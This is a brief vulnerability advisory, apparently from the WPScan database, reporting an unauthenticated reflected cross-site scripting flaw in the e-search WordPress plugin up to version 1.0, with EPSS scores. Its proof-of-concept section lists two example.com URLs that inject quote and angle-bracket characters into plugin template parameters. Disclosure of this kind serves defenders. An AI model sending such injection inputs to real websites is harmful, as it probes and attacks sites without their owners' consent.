Lucene search

K
wpvulndbEthicalhack3rWPVDB-ID:5329B68A-34CB-4423-88C9-00D7E89AA6C6
HistoryApr 13, 2016 - 12:00 a.m.

e-search <= 1.0 - Unauthenticated Reflected Cross-Site Scripting (XSS)

2016-04-1300:00:00
ethicalhack3r
wpscan.com
9

0.001 Low

EPSS

Percentile

50.3%

The e-search WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting (XSS) security vulnerability.

PoC

http://www.example.com/wp-content/plugins/e-search/tmpl/date_select.php?date-from=“&gt;&lt;” http://www.example.com/wp-content/plugins/e-search/tmpl/title_az.php?title_az=“&gt;&lt;”

CPENameOperatorVersion
e-searcheq*

0.001 Low

EPSS

Percentile

50.3%

Related for WPVDB-ID:5329B68A-34CB-4423-88C9-00D7E89AA6C6